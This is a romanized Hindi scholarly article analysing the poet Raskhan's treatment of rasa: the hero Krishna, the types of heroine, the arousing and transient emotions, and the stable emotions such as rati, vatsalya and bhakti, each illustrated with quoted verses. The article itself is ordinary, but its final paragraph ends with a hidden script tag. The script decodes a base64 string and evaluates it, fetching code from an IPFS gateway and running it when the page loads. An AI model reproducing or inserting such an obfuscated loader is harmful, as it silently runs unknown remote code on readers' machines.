रसखान का भाव-पक्ष

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hindi sahity mean krishna bhakt tatha ritikalin kaviyoan mean rasakhan ka mahattvapoorn sthan hai. 'rasakhan' ko ras ki khan kaha jata hai. inake kavy mean bhakti, shrrigaanr ras donoan pradhanata se milate haian. rasakhan krishna bhakt haian aur prabhu ke sagun aur nirgun nirakar roop ke prati shraddhalu haian.

rasakhan ka bhav-paksh
[[chitr:raskhan-1.jpg|rasakhan ki samadhi, mahavan, mathura|thumb|250px]] ras

sahridayoan ke hriday mean vasana ya manovikar ke roop mean vartaman rati adi sthayi bhav hi vibhav, anubhav, sanchari bhav ke dvara vyakt hokar ras ban jate haian. doosare shabdoan mean vibhav-alanban vibhav, uddipan vibhav, anubhav aur sanchari bhav aur sthayi bhav hi ras ke aang haian. rasakhan ke kavy mean bhavapaksh ke aantargat alamban-niroopan,nayika-bhed, sanchari bhav, uddipan vibhav adi ka varnan hai

alamban niroopan

alanban vibhav ka abhipray kavy-naty-varnit nayak-nayika adi se hai kyoanki unhian ke sahare samajikoan ke hriday mean ras ka sanchar hua karata hai. rasakhan ke kavy mean alanban shri krishna, gopiyaan evan radha haian. 'prem vatika' mean yadyapi prem sambandhi dohe haian, kintu rasakhan ne usake mali krishna aur malin radha hi ko charitarth kiya hai. rasakhan alamban-niroopan mean poorn saphal hue haian. ve gopiyoan ka varnan bhi usi tanmayata ke sath karate haian jis tanmayata ke sath krishna ka. sanpoorn 'sujan rasakhan' mean gopiyoan evan radha ko alanban (krishna) ke svaroop se prabhavit dikhaya hai.

nayak

bharatiy kavy-shastr ke anusar kavyalanban nayak vah mana gaya hai jo tyag bhavana se bhara ho, mahanh karyoan ka karta ho, kul ka mahanh ho, buddhi-vaibhav se sanpann ho, roop-yauvan aur utsah ki sanpadaoan se sanpann ho, nirantar udyogashil rahane vala ho, janata ka snehabhajan ho aur tejasvita, chaturata kianva sushilata ka nidarshak ho. rasakhan ke kavy ke nayak shrikrishna haian, jo mahanh karyoan ke karta, uchch kul mean utpann buddhi, vaibhav se sanpann, roop yauvan utsah ki sanpadaoan se sushobhit, gopiyoan ke snehabhajan, tejasvi aur sushil haian. rasakhan ke nayak mean nayakochit lagabhag sabhi gun milate haian. nayak ke mahanh karyoan ki charcha milati hai. draupadi, ganika, gaj, gidh, ajamil ka rasakhan ke nayak ne uddhar kiya. ahilya ko tara, prahlad ke sankatoan ka nash kiya. keval yahi nahian, unhoanne utsahapoorvak kaliy daman tatha kuvalaya vadh bhi kiya. rasakhan ne apane nayak ke mahanh karyoan ke sath-sath unake roop yauvan ki bhi charcha ki hai. gopiyoan ne unake roop se prabhavit hokar lokamaryada tak ko tyag diya. krishna ke roop yauvan ka prabhav asadharan hai. gopi bebas hokar lok maryada tyagane par vivash ho jati haian-

ati lok ki laj samooh maian chhori kai rakhi thaki bahusankat soan.
pal mean kulakani ki me d nakhi nahian roki ruki pal ke pat soan॥
rasakhani su keto uchati rahi uchati n sankoch ki auchat soan.
ali koti kiyau hataki n rahi ataki aankhiyaan lataki lat soan.

rasakhan ne apane nayak ke roop-yauvan ki charcha anek padoan mean ki hai. roop yauban ke atirikt unaki cheshtaean, madhur muskan bhi man ko har leti haian.

main manohar bain bajai susaje tan sohat pit pata hai.
yauan damakai chamakai jhamakai duti damini ki mano syam ghata hai.
e sajani brajarajakumar ata chadhi pherat lal bata hai.
rasakhani mahamadhuri mukh ki musakani karai kulakani kata hai.

rasakhan ne krishna ke premamay roop ka niroopan anek padoan mean kiya hai. unhean radha ke pair dabate hue dikhaya hai tatha gopiyoan ke agrah par chhachhiya bhari chhachh par bhi nachate hue dikhaya hai. sarvasamarth hokar bhi krishna apani preyasi gopiyoan ke anand ke lie is prakar ka vyavahar karate haian. jisase siddh hota hai ki ve prem ke vashavarti haian. at: rasakhan dvara niroopit nayak mean lagabhag un sab visheshataoan ka sannivesh hai jo bharatiy kavyashastr ke aantargat ginaee gee haian. unamean shaury, roop, yauvan aur utsah hai.

nayika

rasakhan ke anusar nayika se abhipray us stri se hai jo yauvan, roop, kul, prem, shil, gun, vaibhav aur bhooshan se sampann ho. rasakhan premonmatt bhakt kavi the. unhoanne apani svachchhand bhavana ke anukool krishna prem ka chitran apane kavy mean kiya. isilie rasakhan ka nayika-bhed varnan n to shastriy vidhi ke anuroop hi hai aur n hi kisi kram ka usamean dhyan rakha gaya hai. krishna ke prati gopiyoan ke prem-varnan mean nayika-bhed ka chitran svabhavik roop se ho gaya hai.

nayika bhed

[[chitr:raskhan-2.jpg|rasakhan ke dohe, mahavan, mathura|thumb|250px]]

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nayika bhed ki paranpara ke darshan sanskrit-sahity tatha sanskrit-kavy-shastr mean hote haian. nayikaean tin prakar ki bataee haian-

1. svakiya
2. parakiya evan
3. samany.

isake atirikt bhi nayika ke jati, dharm, dasha evan avasthanusar anek bhed kie ge haian. premomang ke kavi se nayika bhed ke sagar mean gote lagakar samast bhedopabhed niroopan ki asha karana nirarthak hi hoga, kyoanki inhoanne gopiyoan ke svaroop ko adhik mahattv n dekar unaki bhavanaoan ko hi adhik mahattv diya hai. phir bhi gopiyoan ke niroopan mean kahian-kahian nayika bhed ke darshan ho jate haian.

parakiya nayika

jo nayika par purush se priti kare, use parakiya kahate haian. rasakhan ke kavy mean niroopit gopiyaan par stri haian. par purush krishna prem ke karan ve parakiya nayika kahalaeangi. rasakhan ne anek padoan mean unaka suandar niroopan kiya hai. unhoanne parakiya nayika ke chitran mean nayikaoan ki lok laj tatha apane kutuanbiyoan ke bhay se unaki vedanamayi sthiti aur premonmad ka b da hi marmasparshi chitran kiya hai-

kalhi bhath murali-dhuni mean rasakhani liyo kahuan nam hamarau.
ta chhin taian bhee bairini sas kitau kiyau jhaankat deti n dvarau.
hot chavav balai soan ali ri jau bhari aankhin bheantiyai pyaro.
bat pari abahian thithakyau hiyare atakyau piyare patavari॥

parakiya nayika ke bhed

parakiya nayika ke do bhed mane ge hai-

1. anootha aur
2. oodha.

rasakhan ne oodha nayika ka varnan kiya hai. parakiya ke avasthanusar chh: bhed hote haian-

1. mudita,
2. vidagdha,
3. anushayana,
4. gupta,
5. lakshita,
6. kulata.

inamean se rasakhan ne oodha mudita aur vidagdha ka hi chitran kiya hai.

oodha

oodha vah nayika hai jo apane pati ke atirikt any kisi purush se prem kare rasakhan ne is pad mean oodha ka varnan kiya hai-

'auchak drishti pare kahooan kanh joo tasoan kahai nanadi anuragi.
sau suni sas rahi mukh mori, jithani phirai jiy maian ris pagi.
nike nihari kai dekhai n aankhin, hoan kabahooan bhari nain n jagi.
ma pachhitavo yahai ju sakhi ki kalank lagyau par aank n 'lagi.

mudita

yah parakiya ke avasthanusar bhedoan mean se ek hai. par-purush-milan-vishayak manobhilasha ki akasmat poorti hote dekhakar jo nayika mudit hoti hai use mudita kahate haian. rasakhan ne bhi nayika ki modavastha ka suandar chitran kiya hai-

'jat huti jamana jal kauan manamohan gheri layau mag ai kai.
mod bharayau lapatai layau, pat ghooanghat tari dayau chit chai kai.
aur kaha rasakhani kahauan mukh choomat ghatan bat banai kai.
kaisean nibhai kulakani rahi hiye saanvari moorati ki chhabi chhai.

vidagdha

chaturatapoorvak par purushanurag ka sanket karane vali nayika ko vidagdha kahate haian. vidagdha ke do bhed hote haian-

1. vachanavidagdha
2. kriyavidagdha.

vachanavidagdha nayika

jo nayika vachanaan ki chaturata se par purushanurag vishayak kary ko sanpann karana chahe use 'vachanavidagdha' kahate haian. rasakhan ki gopiyaan anek sthanoan par vachan chatury se kam leti haian-

chhir jau chahat chir gahean ajoo leu n ketik chhir achaihau.
chakhan ke mis makhan maangat khau n makhan ketik khaihau.
janati hauan jiy ki rasakhani su kahe kauan etik bat badhaihau.
goras ke mis jo ras chahat so ras kanhajoo neku n paihau.

yahaan gopiyoan ne vachanavidagdhata dvara apani ichchha ka spashtikaran kar diya hai.

kriyavidagdha

jo nayika kriya ki chaturata se par-purushanurag vishayak kary ko sampann karana chahe, use kriyavidagdha kahate haian. rasakhan ne nimnalikhit pad mean kriya vidagdha nayika ka suandar chitran kiya hai-

khelai alijan ke gan maian ut pritam pyare sauan neh navino.
bainani bodh karai it kauan, ut sainani mohan ko man lino.
nainani ki chalibi kachhu jani sakhi rasakhani chitaive koan kino.
ja lakhi pai janbhaee gee chutaki chatakai bida kari dino.

[[chitr:raskhan-3.jpg|rasakhan ki samadhi, mahavan, mathura|thumb|250px]]

dashanusar nayikaean

nayika ke dashanusar tin bhed hote haian-

1. garvita
2. any sanbhog dukhita
3. manavati mean se rasakhan ke kavy mean any sanbhog du:khita tatha manavati nayika ka chitran milata hai.

any sanbhog dukhita

any stri ke tan par apane priyatam ke priti-chihn dekh kar du:khit hone vali nayika ko 'any sanbhog du:khit' kahate haian rasakhan ne bhi any sanbhog du:khita nari ka chitran kiya hai.

kah kahooan sajani sang ki rajani nit bitai mukuand koan heri.
avan roz kahaian manabhavan avan ki n kabauan kari pheri.
sautin-bhag badhyau braj maian jin lootat haian nisi rang ghaneri.
mo rasakhani likhi bidhana man mari kai apu bani hauan aanheri॥

manavati

apane priyatam ko any stri ki or akarshit janakar eershyapoorvak man karane vali nayika manavati kahalati hai. rasakhan ne manini nayika ka chitran tin padoan mean kiya hai. dooti nayika ko samajha rahi hai ki mere kahane se too man ko tyag de. tujhe basant mean man karana kisane sikha diya. agale pady mean vah krishna ki suandarata evan gunoan ka bakhan karake aant mean kahati hai ki tujhe kuchh nahian lagata. n jane kisane teri mati chhini hai. pun: nayika ko samajhati huee kahati hai ki man ki avadhi to adhi gh di hai, too man tyag de-

man ki audhi hai adhi ghari ari jau rasakhani darai hit ke dar,
kai hit chho diyai pariyai paini aise katachhanahian hiyara-har.
mohanalal koan hal bilokiyai neku kachhoo kini chhoobekar sauan kar,
naan karibe par vare haian pran kaha karihaian ab haan karibe par.

rasakhan ne manini nayika ke man ka svabhavik chitran kiya hai. nayika ko samajhaya ja raha hai ki too kisi prakar man tyag de.

avasthanusar nayikaean

avasthanusar nayika ke das bhed mane ge haian jinamean se do ki charcha rasakhan ne ki hai-

1. agatapatika
2. proshitapatika.

agatapatika

apane priyatam ke agaman par prasann hone vali nayika 'agatapatika' kahalati hai. rasakhan ne agatapatika nayika ka chitran bahut hi suandar tatha bhavapoorn dhang se kiya hai-

nah-biyog badhyau rasakhani malin maha duti deh tiya ki.
pankaj soan mukh gau murajhaee lagian lapataian bari svaans hiya ki.
aise mean avat kanh sune hulasaian tarakian ju tani aangiya ki.
yau jagajoti uthi aang ki usakai dee manau bati diya ki.

nayika virah-pi dit hai kintu krishna ke agaman se usaki pi da samapt ho jati hai aur usaki prasannata ka thikana nahian rahata. jaise dipak ki batti badhane se prakash badh jata hai vaise hi priy ke agaman se nayika ka sharir praphullit ho uthata hai.

proshitapatika

priyatam ke viyog se du:khit virahini nayika ko proshitapatika kahate haian. rasakhan ke kavy mean proshitapatika nayika ke anek udaharan milate haian-

unahian ke sanehan sani rahaian unahian ke ju neh divani rahaian.
unahian ki sunaian n au bain tyauan sain soan chain anekan thani rahaian.
unahian sang dolan maian rasakhani sabai sukh siandhu aghani rahaian.
unahian bin jyauan jalahin hvai min si aankhi meri aansuvani rahaian.

nimn pad mean parakiya madhya proshitapatika ka chitran kiya gaya hai-

auchak drishti pare kahooan kanh joo tasoan kahai nanadi anuragi.
so suni sas rahi mukh mori, jithani phirai jiy maian ris pagi.
nikean nihari kai dekhe n aankhin, hoan kabahooan bhari nain n jagi.
mo pachhitavo yahai ju sakhi ki kalank lagyau par aank n lagi॥

rasakhan ke kavy mean proshitapatika nayika ka niroopan kee sthanoan par milata hai.

vay

kram se nayika

vay:kram se nayika ke tin bhed mane ge haian-

1. mugdha,
2. madhya,
3. praudha.

rasakhan ne mugdha nayika ka varnan kiya hai.

mugdha

jisake sharir par nav yauvan ka sanchar ho raha ho, aisi lajjashila kishori ko 'mugdha nayika' kahate haian. rasakhan ne mugdha nayika ki vay:sandhi avastha ka suandar chitr khiancha hai-

baanki maror gahi bhrikutin lagian aankhiyaan tirachhani tiya ki.
taank si laank bhee rasakhani sudamini te duti dooni hiya ki.
sohaian tarang anang ki aangani op uroj uthi chhatiya ki.
joban-joti su yauan damakai usakaee dee mano bati diya ki.

jis prakar krishna kavy mean parakiya nayikaoan ko vishesh gaurav diya gaya hai, usi prakar rasakhan ne bhi parakiya varnan ko mahattv diya. isake tin pradhan ki saphalata ke lie bhavoan ka marmik chitran avashyak hai.

1. rati bhav ki jitani adhik marmikata aur tallinata parakiya prem mean sanbhav hai utani svakiya prem mean nahian.
2. doosara karan yah hai ki parakiya prem ka kshetr bahut vistrit hai. usamean prem ke vibhinn roopoan aur paristhitiyoan ke varnan ka avakash rahata hai. is prakar kavi ko apani pratibha ke pradarshan ka asim avasar milata hai.
3. tisara karan hai lilavatari krishna ka madhur roop. krishna parabrahm parameshvar hai aur gopiyaan jivatmaean haian. anant jivatmaoan ke pratik roop mean anant gopiyoan ka chitran anivary tha. atev krishna bhakt shrriangari kaviyoan ne sabhi gopiyoan ke prati krishna (bhagavan) ke sneh ki aur krishna ke prati sabhi gopiyoan ke utkat anurag ki vyanjana ke lie parakiya-prem ka vidhan kiya. yahaan tak ki unake kavy mean svakiya ka kahian bhi chitran nahian hua. parakiya nayika niroopan ke aantargat rasakhan ne oodha mudita, kriyavidagdha, vachanavidagdha anyasanbhogadu:khita, manavati, agatapatika, proshitapatika evan mugdha adi nayikaoan ka chitran kiya hai. rasakhan ka uddeshy nayika-bhed niroopan karana nahian tha atev unhoanne gopiyoan ke sanbandh se krishna ka varnan karate hue prasanganusar nayikaoan ke bahy roop evan unaki aantarvrittiyoan ka chitran kiya hai.

uddipan vibhav

jo rati adi sthayi bhavoan ko uddipt karate haian, unaki asvad yogyata badhate haian, ve 'uddipan vibhav' kahalate haian. 'uddipan vibhav' unhean kahate haian jo kisi ras ko uddipt karate haian. uddipan vibhav pratyek ras ke apane hote haian. shrriangar ras ke uddipan sakhi, sakha, dooti, shadhrritu, van upavan, chandr, chaandani, pushp, nadi , tat, chitr adi hote haian. nayak-nayika ki cheshtaean bhi ras ko uddipt karati haian. rasakhan ke kavy mean uddipan vibhav prakriti ka khula praangan he. unake nayak krishna ki samast lilaean prakriti ke ramaniy kshetr mean hueean. gokul ke bag, t dag, kuanj-gali adi uddipan haian.
'van bag t dagani kuanjagali aankhiyaan sukh paihaian dekhi dee.
ab gokul maanjh vilokiyaigi vah gop sabhag subhay ree.
milihai hansi gai kabai rasakhani kabai brajabalani premamee.
vah nil nichol ke ghooanghat ki chhavi dekhabi dekhan lajalee. krishna ki kamadev ke saman navarangi chhavi, unaki batean batean sab uddipan kary kar rahi haian- bhal pagiya, sugandhit vastr, sugandhit vastr, aangoan mean j daoo nagine, muktamal ye sab gopiyoan mean shrriangar ras ko uddipt karate haian.
lal lasaian pagiya sabake, sab ke pat koti sugandhani bhine.
aangani aang saje sab hi rasakhani anek jarau navine.
mukta-galamal lasai sab ke sab gvar kumar siangar so kine.
pai sigare braj ke hari hian hari hi kai haraian hiyara hari line॥
khanjan, min, saroj ke mad ko harane vale b de-b de nayan, kuanjoan mean muskate pan khate amrit vachan bolate krishna ka svaroop evan cheshtaean uddipan-kary kar rahi haian. rasakhan ke kavy mean uddipan muralivat ka tat, kuanjagali, murali dhvani, madhur muskan, morapankha, pitapata, van aur kuandal adi haian. rasakhan ka uddeshy krishna-vishayak ragatmika vritti ki abhivyakti aur krishna ka vividh roopoan mean chitran karana tha. vibhinn vrittiyoan ke hridayasparshi upachay aur lilaoan ki prabhavashalita ke lie uddipanakari vatavaran ki srishti anivary hai. alanban ke karan jagrat bhav uddipan vibhavoan ke abhavoan mean rasatmak nahian ho sakata. krishna ke chitran ko hridayagrahi roop dene ke lie unaki cheshtaoan, unaki lilaoan ko saras banane vale vatavaran adi ka chitran apekshit hai. vanshivat ka unaki kri daoan se mahattvapoorn sanbandh hai. yamuna tat unaka paranpara prasiddh lilasthal hai. murali ki tan unaki premikaoan ko vishesh roop se akrisht karati haian. unaki veshabhoosha aur muskan ne gopiyoan ke chitt ko lubha liya hai. atev sahriday kavi ne krishna-vishayak rati bhav ke paripak ke lie in vibhavoan ka sthan-sthan par nidarshan kiya hai.

sanchari bhav

sanchari bhav ka doosara nam 'vyabhichari' bhav bhi hai. vyabhichari shabd mean vi+abhi+char (upasarg tatha dhatu) ka yog hai. 'vi' vividhata ka, 'abhi' abhimukhy ka aur 'char' sancharan ka dyotak hai. atev vakh, aang tatha satvadi dvara vividh prakar ke, rasanukool sancharan karane vale bhavoan ko vyabhichari athava sanchari bhav kahate haian. yah sthayi bhav ke sahakari karan haian yah sabhi rasoan mean yathasanbhav sanchar karate haian. isi se inaki sanchari ya vyabhichari sanjna hai. sthayi bhav ki tarah ye ras ki siddhi tak sthir nahian rahate. ye avastha vishesh mean utpann hote haian aur apana prayojan poora ho jane par sthayi bhav ko uchit sahayata dekar lupt ho jate haian. inaki sankhya is prakar 33 hai. nirvaid, glani, shanka, asooya, mad, shram, alasy, dainy, chianta, moh, smriti, ghriti, vri da, chapalata, harsh, aveg, j data, garv vishad, autsuky, nidra, apasmar, svapn, vibodh, amarsh, avahittha, ugrata, mati, vyadhi, unmad, tras, vitark, maran. rasakhan ke kavy mean rasanukool anek sanchari bhavoan ki vyanjana huee hai.
kayik anubhav
kataksh adi aangik cheshtaoan ko 'kayik anubhav' kahate haian. rasakhan ke kavy mean kayik anubhav ke sundar namoone milate haian. unhoanne bhavanukool cheshtaoan ka samyak vidhan kiya haian—
ali page range je rang saanvare mo pai na avat lalachi naina.
dhavat haian utahian jit mohan roke rukai nahian ghooanghat aisa.
kanani kauan kal nahian parai sakhi prem soan bhije sune bin baina.
rasakhani bhee madhu ki makhiyaan ab neh ko bandhan kyoan hooan chhootaina.
nayika ke nayanoan ki gati mean veg hai jo ghooanghat ke avaran ko svikar karane ko taiyar nahian. nayanoan ki chanchalata nayika ki prabal akaanksha ko abhivyakti pradan karane mean sahayak huee hai. vibhinn aangoan ki utsukata evan utkantha ka chitran kayik anubhavoan dvara sajivata ke sath hua hai.
nain nachai chitai musakai su ot hvai jai aangootha dikhayau. nain nachana, musakana aur ot mean jakar aangootha dikhana adi anek kayik bhavoan ki ek sath vyanjana huee hai. yahaan kavi ne nayika ki chaturata evan chanchalata ki anubhavoan dvara chitratmak dhang se abhivyakti ki hai.
aju hauan niharayau bir nipat kaliandi tir,
doun ko doun sauan muri musakaibau.
dooo paraian paiyaan dooo let haian balaiyaan unhean,
bhooli gee gaiyaan inhean gagar uchaibo॥
in panktiyoan mean ek doosare ko dekhana, mu d-mu d kar muskana. ek doosare ke pairoan par p dana, nichhavar hona adi anek kayik anubhavoan ki sundar vyanjana huee hai.
aju hi barak 'lehu dahi' kahi kai kachhu nainan mean vihansi hai.
bairini vahi bhee musakani ju va rasakhani ke pran basi hai.
yahaan netroan mean hansane tatha musakan se prabhavit hone ke karan kayik anubhav chamatkarapoorn haian.
pheri phiraian aankhiyaan thaharati haian kare pitanbaravare ke oopar.
netroan ki vivashata kayik anubhav dvara chitrit ki gee hai. yahaan nirnimesh dekhane ka bhav nihit hai.
aankhiyaan aankhiyaan sauan sakai milai hilai rijhai hiyo haribo.
batiyaan chit choran chetak si ras charu charitran oocharibo.
yahaan aankhiyaan milana, rijhana, batean karana adi kayik anubhavoan dvara shrriangar ras ki saphal vyanjana huee hai.
satvik bhav
satv ke udrek se utpann jo anubhav haian unhian ko satvik bhav kaha gaya hai. rasakhan ke kavy mean satvik bhavoan ki bhi sundar vyanjana huee hai.
bansi bajavat ani kadhau so gali maian ali kachhu tona so darai.
heri, chitai, tirachhi kari drishti chalau gayau mohan moothi si marai.
tahi ghari sauan pari dhari sej pai pyari n bolati pranahooan barai.
radhika ji hai tau jihaian sabai n to pihaian halahal nand ke dvarai॥
is pad mean krishna ka vanshi bajana aur tirachhi drishti se gopiyoan ko dekhana uddipan vibhav hai. alanban krishna aur unaki chitavan adi uddipanoan se gopi itani adhik prabhavit haian ki unaki vani bhavaveg ke karan avaruddh ho gee hai. is prakar satvik bhav 'stanbh' ka chitran kiya gaya hai. is chitran mean shrriangar ras ki hridayahari vyanjana ki gee hai-
poorab punyani taian chitee jin ye aankhiyaan musakani bhari joo.
kooo rahi putari si khari, koir ghat dari, kou bat pari joo.
je apane gharahian rasakhani kahai aru hauansani jati mari joo.
lal je bal bihal kari te bihal kari n nihal kari joo॥
yahaan gopiyaan krishna ki muskan bhari aankhoan se prabhavit haian. krishna alanban, unaki musakan bhari aankhean uddipan vibhav haian. unase prabhavit hokar gopiyoan ki cheshtaean putali ke saman kh di rahana adi stanbh namak satvik bhav haian. ghat par girana, behal hona 'mari' jana mean 'pralay' namak satvik bhav ka manoram niroopan hua hai.
mohan roop chhaki ban dolati ghoomati ri taji laj bicharai.
bank bilokani nain bisal su danpati kor katachhan marai.
rangabhari mukh ki musakan lakhean sakhi kaun ju deh samharai.
jyauan araviand himmat-kari jhakajhori kai tori marori kai darai॥
krishna ki uddipak muskan ne gopi ko atm-vismrit kar diya hai. krishna ke prem mean vibhor hone ke karan vah apane rati bhavana ko chhipa nahian pa rahi hai. vah vihval hokar van mean dolati hai aur lajja tyagakar svachchhand roop se ghoomati hai. usaka is prakar dolana aur ghoomana rati bhav vyanjak hone ke karan kayik anubhav hai. krishna ki rangabhari musakan ke prabhav se apani deh ko n sanbhal pana arthat nishchesht hona aur apane ko bhool jana adi 'pralay' namak satvik bhav haian. rasakhan ke kavy mean satvik, manasik aur kayik anubhavoan ki ek sath abhivyakti huee haian-
aeean sabai braj gop lali thithakian hvai gali jamuna-jal nhane.
auchak ai mile rasakhani bajavat bainu sunavat tane.
haha kari sisaki sigari mati main hari hiyara hulasane.
ghoomaian divani amani chakor soan or soan dooo chalaian drig bane.
gopiyaan yamuna mean nahane jati haian kintu achanak krishna ki drishti p d jane par ve thithak uthati haian. is thithakane mean anek bhav bhare haian. kuchh dar, kuchh lajja, kuchh ashanka, kuchh ashchary, sabhi batean ek sath akash mean jhilamilate anek taroan ki bhaanti prakat ho rahi haian. sisakane mean 'ashru' satvik bhav hai. hulasane mean harsh manasik anubhav hai. ghoomana 'drigaban' chalana adi 'kayik' anubhav haian. 'kayik tatha manasik anubhavoan ka chitr-rasakhan ne rekha dvara hi prastut kiya hai. rekhaean b di ubhari huee tatha sajiv haian. chitr-kalpana ka adarsh roop in rekha-chitroan mean prapt hota hai.'
rasakhan anubhav-yojana mean poorn saphal huee haian. anubhavoan aur cheshtaoan ki yah vibhooti age chalakar ritikalin kaviyoan mean vishesh roop se dekhane ko milati hai. unaki anubhav-yojana chitratmakata, sajivata aur bhav-pravanata ki drishti se prashansaniy hai.
sthayi bhav rati
kisi anukool vishay ki or man ki pravritti ko 'rati' kahate haian. vishvanath ne bhi priy vastu ke prati hriday ki utkat unmukhata (premardrata) ko 'rati' kaha hai. sthayi bhav jab sahayak samagri se pusht hokar vyanjit hota hai tab ras ka paripak hota hai. jaise shrriangar ras mean rati sthayi bhav hota hai. parantu jahaan pariposhak samagri nahian rahati vahaan svatantr roop se sthayi bhav hi dhvanit hota hai. rasakhan ke kavy mean aise anek udaharan mil jate haian—
kanh bhe bas baansuri ke ab kaun sakhi, hamakoan chih hai.
nisadyaus rahai sang-sath lagi yah sautin tapan kyauan sahi hai.
jin mohi liyau manamohan koan rasakhani sada hamakoan dahi hai.
mili aau sabai sakhi, bhagi chalaian ab to braj maian bansuri rahi hai॥

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jal ki n ghat bharaian mag ki n pag dharaian,
ghar ki n kachhu karaian baithi bharaian saansu ri.
ekai suni laut geean ekai lot-pot bhee,
ekani ke drigani nikasi ae aansu ri.
kahaian rasakhani so sabai braj-banita badhi,
badhik kahay hay bhee kulahaansu ri.
kariyai upay baans uriyai katay,
nahian upajaigau baans nahian bajai pheri baansuri॥
vatsaly rati
putr adi ke prati mata-pita ka jo vatsaly sneh hota hai use vatsaly kahate haian. yashoda ke is kathan mean vatsaly rati ki jhalak rahi haian-
apano so dhota ham sabahi ko janat haian,
dooo prani sab hi ke kaj nit dhavahian.
te tau rasakhani ab door tean tamaso dekhaian,
tarani tanooja ke nikat nahian avahian.
an din bat anahitun sauan kahauan kaha,
hitoo jeoo jae te ye lochan duravahian.
kaha kahauan ali khali det sab thali par,
mere banamali koan n kali tean chhu davahian.
yahaan mata yashoda ki apane putr ke anisht ki ashanka se utpann hriday ki udvignata ka chitran kiya gaya hai. ve apane putr ki suraksha kamana ke lie bahut chiantit haian. yahaan mata ke hriday ki mangalamayi sneh-bhavana ka suandar chitran hai.
bhakti
eeshvar ke prati anurag ko bhakti kahate haian. rasakhan bhakt kavi haian, unaka kavy bhakti bhav se bharapoor hai.
va lakuti aru kamariya par raj tihooan pur ko taji darauan.
athahu siddhi navauan nidhi ko sukh nand ki gai charai bisarauan.
e rasakhani jabai in nainan te braj ke ban-bag niharauan.
kotik yah kaladhaut ke dham karil ki kuanjan oopar varauan.
yahaan sthayi bhav dev vishayak rati apane poorn vaibhav ke sath vidyaman hai.
kanchan mandir ooanche banai kai manik lai sada jhalakaiyat.
prat hi te sagari nagari nag motin hi ki tulani tulaiyat.
jadyapi din prajan prajapati ki prabhuta madhava lalachaiyat.
aise bhe tau kaha rasakhani jo saanvare gvar sauan neh ne laiyat.
yahaan sthayi bhav dev vishayak rati ki vyanjana ho rahi hai.
nirved ya sham
tatvajnan hone se saansarik vishayoan mean jo virag-buddhi utpann hoti hai, use 'nirved' kahate haian. rasakhan ki 'prem vatika' mean sthan-sthan par nirved ki nibandhana milati haian-
prem agam anupam amit, sagar saris bakhan.
jo avat yahi dhig bahuri, jat nahian rasakhan॥
anand-anubhav hot nahian, bina prem jag jan.
kai vah vishayanand kai brahmanand bakhan॥
jnan karm 'ru upasana, sab ahamiti ko mool.
dridh nishchay nahian hot bin, kiye prem anukool॥ kam krodh mad moh bhay lobh droh matsary.
in sab hi taian prem hai pare, kahate munivary॥
has
has ka abhipray vani adi ki vikritiyoan ke darshan athava chiantan se sanbhoot chittavikas se hai. doosare shabdoan mean vikrit vachan, kary aur roop-rachana se sahriday ke man mean jo ullas utpann hota hai use 'has' kahate haian. rasakhan ke kavy mean aise ek-do udaharan mil jate haian—
kesariya pat, kesari khaur, banau gar guanj ko har dhararo.
ko hau joo apani ya chhabi soan ju khare aangana prati dithi n taro.
ani bikaoo se hoee rahe rasakhani kahai tumh roki duvaro.
haian to bikaooan jau let banai hansabol tiharo hai mol hamaro॥
yahaan ras ke paripak ke abhav mean has bhav ki abhivyanjana hai.
utsah
kary karane ka abhinivesh, shaury, adi pradarshit karane ki prabal ichchha ko 'utsah' kahate haian. rasakhan ke kavy mean utsah sthayi bhav ke udaharan kam milate haian. kyoanki unaka uddeshy vir kavy ki rachana karana nahian tha. nimnalikhit pad mean utsah ki vyanjana huee hai—
kans ke krodh ki phaili rahi sigare braj mandal maanjh phukar si.
ai ge kachhani kachhi kai tabahian nat-nagar nandakumar si.
dvarad ko rad khaichi liyau rasakhani hiye gahi lai bichar si.
lini kuthaur lagi lakhi tauri kalank tamal tean kirati-dar si॥

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is prakar rasakhan ke kavy mean chh: sthayi bhavoan ki nibandhana milati hai- rati, nirved, utsah, has, vatsaly aur bhakti. yah bat dhyan dene yogy hai ki unhoanne paranparaprathita char sthayi bhavoan ko hi gaurav diya hai, jinamean anyatam bhav rati ka hai. krodh, jugupta, vismay, shok aur bhay ki upeksha ka mool karan yah pratit hota hai ki in bhavoan ka rati se mel nahian hai. rasakhan premi jiv the, atev unhoanne apani kavita mean tin prakar ke rati bhavoan ki rati, vatsaly aur bhakti ki vyanjana ki; jo bhav inamean vishesh sahayak ho sakate the unhean yathasthan abhivyakti kiya. doosara karan yah bhi hai ki unaki rachana muktak hai; atev prabanadh kavy ki bhaanti usamean sabhi prakar ke bhavoan ka sannivesh avashyak bhi nahian hai. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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